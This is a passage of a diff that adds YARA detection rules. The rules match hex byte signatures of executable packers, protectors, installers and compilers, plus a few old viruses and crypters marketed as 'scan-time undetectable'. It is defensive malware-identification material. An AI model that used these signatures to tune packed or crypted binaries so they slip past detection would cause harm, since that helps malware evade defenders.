+			$a0 = { EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmor046Hying
+	{
+	strings:
+			$a0 = { E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 }
+	$a1 = { E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorv13CGSoftLabs
+	{
+	strings:
+			$a0 = { 45 78 50 72 2D 76 2E 31 2E 33 2E }
+	$a1 = { 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv032BetaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5 }
+	$a1 = { BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule MSLRHV031emadicius
+	{
+	strings:
+			$a0 = { 60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv184
+	{
+	strings:
+			$a0 = { 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCGuardforWin32v500SofProBlagojeCeklic
+	{
+	strings:
+			$a0 = { FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+rule WiseInstallerStub
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF }
+	$a1 = { 55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20 }
+	$a2 = { 55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2
+	}
+	rule AnskyaNTPackerGeneratorAnskya
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThinstallVirtualizationSuite30493080ThinstallCompany
+	{
+	strings:
+			$a0 = { 9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 }
+	$a1 = { 9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule NsPack14byNorthStarLiuXingPing
+	{
+	strings:
+			$a0 = { 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FSGv110EngbartxtWatcomCCEXE
+	{
+	strings:
+			$a0 = { EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AcidCrypt
+	{
+	strings:
+			$a0 = { 60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB }
+	$a1 = { BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+rule PackanoidArkanoid
+	{
+	strings:
+			$a0 = { BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DAEMONProtectv067
+	{
+	strings:
+			$a0 = { 60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule MEW11SEv12NorthfoxHCC
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/
+
+	rule EmbedPEV100V124cyclotron
+	{
+	strings:
+			$a0 = { 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VProtectorV10Avcasm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPE2200481022005314WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 7A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02JDPack1xJDProtect09Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EmbedPEV1Xcyclotron
+	{
+	strings:
+			$a0 = { 83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPEV220070411WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MicrosoftVisualBasic60DLLAnorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPack14Liuxingping
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VxTrivial46
+	{
+	strings:
+			$a0 = { B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule STUDRC410JamieEditionScanTimeUnDetectablebyMarjinZ
+	{
+	strings:
+			$a0 = { 68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxSonikYouth
+	{
+	strings:
+			$a0 = { 8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXShit006
+	{
+	strings:
+			$a0 = { B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SetupFactoryv6003SetupLauncher
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule CrypKeyV61XDLLCrypKeyCanadaInc
+	{
+	strings:
+			$a0 = { 83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VcAsmProtectorVcAsm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompact2xxSlimLoaderBitSumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ENIGMAProtectorV11V12SukhovVladimir
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ED 06 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorv10bAshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEDiminisherv01
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 }
+	$a1 = { 5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule SOFTWrapperforWin9xNTEvaluationVersion
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov200
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov201
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule FreeJoinerSmallbuild014021024027GlOFF
+	{
+	strings:
+			$a0 = { E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDProtector1xRandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NSISInstallerNullSoft
+	{
+	strings:
+			$a0 = { 83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEXv099
+	{
+	strings:
+			$a0 = { 60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule IMPPacker10MahdiHezavehiIMPOSTER
+	{
+	strings:
+			$a0 = { 28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PEProtectv09
+	{
+	strings:
+			$a0 = { 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3 }
+	$a1 = { E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule nbuildv10soft
+	{
+	strings:
+			$a0 = { B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01StelthPE101Anorganix
+	{
+	strings:
+			$a0 = { 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule IProtect10FxSubdllmodebyFuXdas
+	{
+	strings:
+			$a0 = { EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSVisualCv8DLLhsmallsig2
+	{
+	strings:
+			$a0 = { 8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSVisualCv8DLLhsmallsig1
+	{
+	strings:
+			$a0 = { 8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv16xVaska
+	{
+	strings:
+			$a0 = { 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule UPXv20MarkusLaszloReiser
+	{
+	strings:
+			$a0 = { 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule BladeJoinerv15
+	{
+	strings:
+			$a0 = { 55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv133Engdulekxt
+	{
+	strings:
+			$a0 = { BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF }
+	$a1 = { BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv13
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv12
+	{
+	strings:
+			$a0 = { 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv11
+	{
+	strings:
+			$a0 = { BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv10
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv120EngdulekxtMicrosoftVisualC6070
+	{
+	strings:
+			$a0 = { EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SuperDAT
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv200alpha38
+	{
+	strings:
